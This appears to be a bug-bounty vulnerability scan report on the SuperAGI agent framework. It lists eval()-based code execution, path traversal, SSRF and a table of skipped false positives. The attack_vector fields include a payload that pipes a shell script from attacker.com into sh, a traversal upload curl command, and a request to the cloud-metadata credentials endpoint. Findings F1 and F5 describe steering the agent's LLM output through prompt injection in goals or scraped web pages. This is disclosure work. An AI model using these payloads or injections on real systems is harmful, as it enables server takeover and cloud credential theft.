# SCAN: SuperAGI date: 2026-02-13 | program: SuperAGI | repo: https://github.com/TransformerOptimus/SuperAGI | bounty: $0-$1500 ## summary raw_findings: 18 | real: 5 | high_conf: 3 | med_conf: 2 | low_conf: 0 | false_pos: 13 scan_method: manual_review NOTE: CVE-2024-9439 (eval in agent_template update API) is KNOWN. All eval() in agent_template.py model excluded from findings. However, the same eval() pattern pervades multiple OTHER models and controllers. ## findings ### F1: RCE via eval() on LLM output in agent task processing severity: critical | confidence: high | type: RCE | cwe: CWE-95 file: superagi/agent/output_handler.py:149,180 | tool: manual also: superagi/agent/queue_step_handler.py:79 ```python # output_handler.py line 149 (TaskOutputHandler.handle) assistant_reply = JsonCleaner.extract_json_array_section(assistant_reply) tasks = eval(assistant_reply) # output_handler.py line 180 (ReplaceTaskOutputHandler.handle) assistant_reply = JsonCleaner.extract_json_array_section(assistant_reply) tasks = eval(assistant_reply) # queue_step_handler.py line 79 (_process_reply) task_array = np.array(eval(assistant_reply)).flatten().tolist() ``` analysis: LLM responses are passed directly to eval() after minimal JSON cleaning. If an attacker can influence the LLM output via prompt injection (through user-supplied goals, instructions, or web content the agent reads), the injected payload runs as arbitrary Python. This is distinct from CVE-2024-9439 which was about agent_template update API parameters -- these eval() calls are in the agent runtime pipeline processing LLM responses. attack_vector: Create an agent with goals/instructions containing prompt injection. When the LLM returns task lists, craft input that causes LLM to return `__import__('os').system('curl attacker.com/shell.sh|sh')` instead of a JSON array. Alternatively, if agent browses attacker-controlled web content, the scraped page content can inject into the LLM context. impact: Full RCE on the server hosting SuperAGI. Arbitrary command running as the application user. recommendation: REPORT --- ### F2: RCE via eval() on database-stored agent configuration values severity: high | confidence: high | type: RCE | cwe: CWE-95 file: superagi/models/agent_execution_config.py:110 | tool: manual also: superagi/models/agent.py:116, superagi/controllers/agent_template.py:251,466 ```python # agent_execution_config.py line 110 (eval_agent_config) if key == "goal" or key == "instruction" or key == "tools": return eval(value) # agent_execution_config.py lines 123,133,136,161,171,174 results_agent_dict['goal'] = eval(results_agent_dict['goal']) results_agent_dict['instruction'] = eval(results_agent_dict['instruction']) results_agent_dict['constraints'] = eval(results_agent_dict['constraints']) # agent.py line 116 (eval_agent_config) elif key in ["goal", "constraints", "instruction", "is_deleted"]: return eval(value) # agent_template.py controller line 251 config_value = str(Tool.convert_tool_ids_to_names(db, eval(config.value))) ``` analysis: Agent configuration values (goal, instruction, constraints) are stored as strings in the database and eval()'d when retrieved. If an authenticated user creates an agent with malicious goal text like `__import__('os').system('id')`, this gets stored in agent_configurations/agent_execution_configs tables and eval()'d every time the config is fetched or displayed. This is a separate attack vector from CVE-2024-9439 which was about the template update endpoint specifically. attack_vector: POST /api/agent/create with body containing `"goal": ["__import__('os').system('whoami')"]`. When the config is later read via eval(), the payload fires. impact: RCE as application user. Any authenticated user can run arbitrary code. recommendation: REPORT --- ### F3: Path Traversal in file upload via filename severity: high | confidence: high | type: Path Traversal | cwe: CWE-22 file: superagi/controllers/resources.py:71 | tool: manual ```python # resources.py line 71 file_path = os.path.join(save_directory, file.filename) if storage_type == StorageType.FILE: os.makedirs(save_directory, exist_ok=True) with open(file_path, "wb") as f: contents = await file.read() f.write(contents) ``` analysis: The upload endpoint at `/api/resources/add/{agent_id}` uses `file.filename` directly in `os.path.join()` without sanitization. A multipart upload with filename `../../etc/cron.d/backdoor` or `../../../app/superagi/evil.py` would write outside the intended directory. The `name` parameter is validated for extension (`.pdf`, `.docx`, etc.) but `file.filename` from the multipart data is used for the actual file path and is NOT validated against path traversal. Note: `os.path.join("/base", "../../../etc/passwd")` resolves to `/etc/passwd` on Python. attack_vector: `curl -X POST /api/resources/add/1 -F "file=@payload.txt;filename=../../evil.py" -F "name=legit.txt" -F "size=100" -F "type=text"` impact: Arbitrary file write on the server filesystem. Can overwrite application code, write cron jobs, or plant webshells. recommendation: REPORT --- ### F4: SSRF via webhook URL severity: medium | confidence: medium | type: SSRF | cwe: CWE-918 file: superagi/helper/webhook_manager.py:28 | tool: manual ```python # webhook_manager.py line 28 request = requests.post(webhook_obj.url.strip(), data=json.dumps(webhook_obj_body), headers=webhook_obj.headers) # webhook.py controller line 64 (create_webhook) db_webhook = Webhooks(name=webhook.name, url=webhook.url, headers=webhook.headers, org_id=organisation.id, is_deleted=False, filters=webhook.filters) ``` analysis: Users can register arbitrary webhook URLs via the `/api/webhooks/add` endpoint with no URL validation. When agent status changes, the server makes POST requests to the user-supplied URL. No SSRF protections (no blocklist for internal IPs, no URL scheme validation). An attacker can set the webhook URL to `http://169.254.169.254/latest/meta-data/` or internal services to probe the network. The `headers` field is also user-controlled, allowing the attacker to set arbitrary HTTP headers in the SSRF request. attack_vector: POST /api/webhooks/add with `{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/", "headers": {}, "filters": {"status": ["RUNNING"]}, "name": "test"}` impact: Access to cloud metadata endpoints, internal service discovery, potential credential theft from cloud IAM roles. recommendation: REPORT --- ### F5: RCE via eval() on Redis-stored task data severity: high | confidence: medium | type: RCE | cwe: CWE-95 file: superagi/agent/task_queue.py:33,43 | tool: manual ```python # task_queue.py line 33 def get_completed_tasks(self): tasks = self.db.lrange(self.completed_tasks, 0, -1) return [eval(task) for task in tasks] # task_queue.py line 43 def get_last_task_details(self): response = self.db.lindex(self.completed_tasks, 0) return eval(response) ``` analysis: Completed task data stored in Redis is eval()'d when retrieved. Tasks are stored as str() of dicts containing task text and LLM response text. If the LLM response contains Python code that gets stored (e.g., the agent processes a malicious webpage or receives injected content), the eval() on retrieval will execute it. The attack requires prompt injection that gets the agent response stored in a form that bypasses str() wrapping. Lower confidence than F1 because the data is str(dict), but str() of a dict containing crafted values can still be dangerous. attack_vector: Indirect prompt injection via web content the agent reads, causing LLM to return response text that, when stored as `str({"task": ..., "response": PAYLOAD})` and later eval()'d, runs code. impact: RCE on the server. recommendation: INVESTIGATE --- ## skipped | file:line | rule | reason | |---|---|---| | superagi/agent/output_parser.py:39,62 | eval usage | Uses ast.literal_eval() which is safe | | superagi/helper/twitter_tokens.py:81 | eval usage | Uses ast.literal_eval() which is safe | | superagi/tools/github/review_pull_request.py:100 | eval usage | Uses ast.literal_eval() which is safe | | superagi/models/agent_execution_config.py:126,129,164,167 | eval usage | Uses ast.literal_eval() which is safe | | ui.py:18-30, cli2.py:20-31, run_gui.py:16-25 | subprocess | Hardcoded args, no user input | | superagi/tools/base_tool.py:196 | method call | Method dispatch _exec(), not Python builtin | | superagi/helper/webpage_extractor.py:50,101 | SSRF | Agent-initiated fetch of URLs, user does not directly control URL (LLM decides). Tool-level SSRF, not API-level. Low confidence for bounty. | | superagi/tool_manager.py:23,57 | SSRF | Fetches from GitHub API with parsed URL components, not directly user-controlled | | superagi/apm/analytics_helper.py:28,66,67 | SQLAlchemy text() | Hardcoded SQL fragments, no user input interpolation | | trufflehog: postgres creds | secrets | Default template credentials (user:password@postgres), not real secrets | | trufflehog: Box token in SVG | secrets | False positive - SVG path data, not a real Box API token | | superagi/controllers/knowledges.py:157 | eval on knowledge_config | eval() on DB value from knowledge_config["vector_ids"]. Data comes from marketplace install flow, not direct user input. Medium risk but requires marketplace data poisoning. | | superagi/controllers/resources.py:163 | path traversal in download | Uses Path().resolve() and resource_id lookup - path comes from DB not user input directly |